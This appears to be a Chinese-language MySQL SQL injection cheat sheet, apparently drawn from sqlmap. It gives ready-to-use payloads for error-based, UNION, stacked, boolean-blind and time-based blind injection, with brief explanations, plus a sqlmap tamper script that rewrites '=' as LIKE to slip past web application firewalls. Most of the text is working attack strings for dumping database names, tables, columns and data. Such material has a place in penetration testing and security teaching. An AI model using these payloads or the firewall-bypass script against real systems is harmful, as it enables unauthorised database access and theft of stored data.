> mysql> select id from comments where id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(char(126),(select elt(335=335,1)),char(126)))s), 8446744073709551610, 8446744073709551610))); > ERROR 1690 (22003): BIGINT value is out of range in '(2 * if((select `s`.`CONCAT(char(126),(select elt(335=335,1)),char(126))` from (select concat(char(126),elt((335 = 335),1),char(126)) AS `CONCAT(char(126),(select elt(335=335,1)),char(126))`) `s`),8446744073709551610,8446744073709551610))' > > mysql> select exp(~(select * from (select CONCAT('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x'))s)); > ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `s`.`CONCAT('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x')` from (select concat('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x') AS `CONCAT('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x')`) `s`)))' >
# 攻击向量 OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) # 攻击 Payload OR (SELECT NULL FROM(SELECT COUNT(*),CONCAT('~',database(),'~',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
########## 分析 ########## # 想要获取的内容在攻击向量的 [QUERY] 部分进行构造, # 报错原因在于,使用 GROUP BY 语句以 x 列进行分组,组内使用 COUNT 统计,x 列的值由 # CONCAT('~',database(),'~',FLOOR(RAND(0)*2)) 产生,而 FLOOR(RAND(0)*2)) 的值为 1 或 0, # GROUP BY 进行分组时,会建立一个虚拟表,虚拟表有两个列,分别为 x 和 count(*),然后查询数据时, # 首先检查分组 x的值 是否存在,如果不存在,则插入虚拟表,存在 count(*)+1,但是查询分组的值是否存在 # 以及插入分组值时都会重新计算 RAND(0)*2),而 FLOOR(RAND(0)*2)) 产生的序列为 01101..., # 第一次插入时检查为0,插入为1,第二次检查为1,count(*)+1,第三次检查为0,虚拟表不存在,但实际 # 插入的值为 1,导致 group_key 重复。 # 利用条件:Mysql >= 5.0,使用 count() + floor(rand(0)*2) + group by
# 低版本 Mysq >= 4.1, 不存在 information_schema,自行构造数据 # 攻击向量 OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) # 攻击 Payload OR ROW(1,2)>(SELECT COUNT(*),CONCAT('~',database(),'~',FLOOR(RAND(0)*2))x FROM (SELECT 3 UNION SELECT 4 UNION SELECT 5 UNION SELECT 6)a GROUP BY x)
XPATH 报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
# 攻击向量 AND EXTRACTVALUE([RANDNUM],CONCAT(1,'[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) # 攻击 Payload AND EXTRACTVALUE(1,CONCAT('~',database(),'~')) ########## 分析 ########### # ExtractValue(xml_frag, xpath_expr),第一个参数时 XML 文档字符串,第二个参数时 XPATH 路径, # 当 XPATH 路径错误是,就会报错,错误信息即为: CONCAT('~',database(),'~') 执行后的结果
联合查询(Union Queries)使用 UNION SELECT语句联合两个查询列数相同的 SELECT语句,
联合查询的利用条件是:
可以使用 UNION SELECT 语句
UNION SELECT 语句查询的结果能看到
Payloads
通常先使用 ORDER BY 语句查出显示的列数
1 2 3 4 5
ORDER BY 1 # ORDER BY 2 # ... ORDER BY N # # 当没有显示,或者网页报错时,说明前一个数即为列数
SQLMAP中给出的通用攻击向量如下:
1
UNION SELECT 1,2,3,.. [SQL_COMMENT]
Mysql >= 5.0
1 2 3 4 5 6 7 8
# 查数据库名字 UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata # 查表名 UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... # 查列名 UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=... # 查数据 UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
不使用 information_schema获取列名
1 2 3 4 5 6 7 8 9
# 使用 JOIN 操作依次报错查询列名 -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a # ERROR 1060 - Duplicate column name 'id'
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a # ERROR 1060 - Duplicate column name 'name'
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a ...
MySQL >= 4.1
低版本的 Mysql 没有 information_schema,通常只能暴力破解表名,之后可以按如下方式获取列名
1 2 3 4 5 6 7
# 查列数,假定表有 4 列 select 1 and(SELECT * from table_name)=(1) # 报错: Operand should contain 4 column(s),获取列数 4
# 接着获取列名 select 1 and (1,2,3,4) = (SELECT * from table_name UNION SELECT 1,2,3,4 LIMIT 1) # 报错:column 'id' cannot be null
未知列名的情况
在未知列名的情况,也能获取数据,技巧就是使用列名的别称。
1 2 3 4 5 6
# 获取表 users 的 4 列内容 select `4` from (select 1,2,3,4,5,6 union select * from users)x; # 直接使用字符 select concat(a,'~',b) from (select 'a','b','c','d','e','f' union select * from users)x; # 别名 select concat(a,'~',b) from (select 1,2 as 'a',3,4,5 as 'b',6 union select * from users)x;
堆叠查询
概念
堆叠查询(Stack Queries)可以依次执行多个 SQL 查询语句,类似 Linux 依次执行多个命令 cd ..; ls。不同的数据库和API 对堆叠查询的支持不一样,如MySQL 、MSSQL、PostgreSQL 本身是支持堆叠查询的,使用 ; 将多个语句分开,但是可能数据库的API 接口不支持,如 PHP的数据库查询接口就有可能不支持。堆叠查询和联合查询的区别在于:堆叠查询可以执行任何 SQL 语句(只要能成功执行,如DELECT、INSERT等操作),联合查询仅支持 SELECT语句,同时两个查询语句的列数要一致。
# 攻击向量 [AND, OR, OR NOT] [INFERENCE] # 攻击 Payload # 使用字符串截取函数 substring | substri | mid | left | right ... # 判断版本 and substring(version(),1,1)=5 and right(left(version(),1),1)=5 and left(version(),1)=4 and ascii(lower(substr(Version(),1,1)))=51 # ascii 返回字符串第一个字符的 ascii 值 and (select mid(version(),1,1)=4) # 数据库名、表名、列名(暴力、二分法) # 判断名字的长度 AND SELECT LENGTH(DATABASE())>10 # 依次破解每一个字符 AND SELECT SUBSTR(database(),1,1) > 'a' AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A' AND SELECT ASIIC(SUBSTR(table_name,1,1)) FROM information_schema.tables > 110 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A' # 利用 Mysql MAKE_SET # MAKE_SET(bits,str1,str2,...),strN 对应 bit(N-1),bit(N-1) 为 1 则返回, # 如 MAKE_SET(3,'A','B','C'),返回 ‘A','B' select first_name from users where user_id=3 and make_set(length(database())>4,1); select first_name from users where user_id=3 and make_set(ascii(mid(database(),2,1))>118,1);
延时盲注
概念
延时盲注(Time-based blind)即基于延时的方法,同样通过 SQL语句中真假条件的执行情况推断出数据库的信息,但是使用延时执行的函数如 Mysql 中 sleep,使得不同条件执行查询的时间不同,自然网页上显示结果的时间存在差异,以此推断数据库的信息。
# 攻击向量 AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) # 攻击 Payload AND (SELECT 1 FROM (SELECT(SLEEP(10)))a) AND 1 # 比较两个请求的响应时间
推断数据库信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
# 攻击向量 # 1. 如果[INFERENCE]正确,则延时执行,同时响应错误 AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) # 使用 RLIKE 时会匹配表中的每一条数据,所总延时=查询表的行数 * SLEEPTIME,所以根据适当调小 SLEEPTIME,如0.1 RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))
# 2. 如果[INFERENCE]正确,则延时执行,反之则不延时 AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])) RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]))
# 攻击 Payload # 判断数据库名字的长度 AND 1=IF(LENGTH(DATABASE())>5, SLEEP(5), 1) # 数据库名、表名、列名(暴力、二分法) AND (SELECT 1 FROM (SELECT(SLEEP(2-(IF(ascii(mid(database(),1,1))>90,0,2)))))x) RLIKE(SELECT 1=IF(ASCII(MID(DATABASE(),2,1))>118,SLEEP(0.5),1))
> id=1' AND (SELECT 7430 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(SELECT (ELT(7430=7430,1))),0x716a6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'IMUF'='IMUF >
from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
defdependencies(): singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL))
deftamper(payload, **kwargs): """ Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character ('=') * The LIKE operator is SQL standard. Hence, this tamper script should work against all (?) databases >>> tamper('SELECT * FROM users WHERE id=1') 'SELECT * FROM users WHERE id LIKE 1' """
retVal = payload
if payload: retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)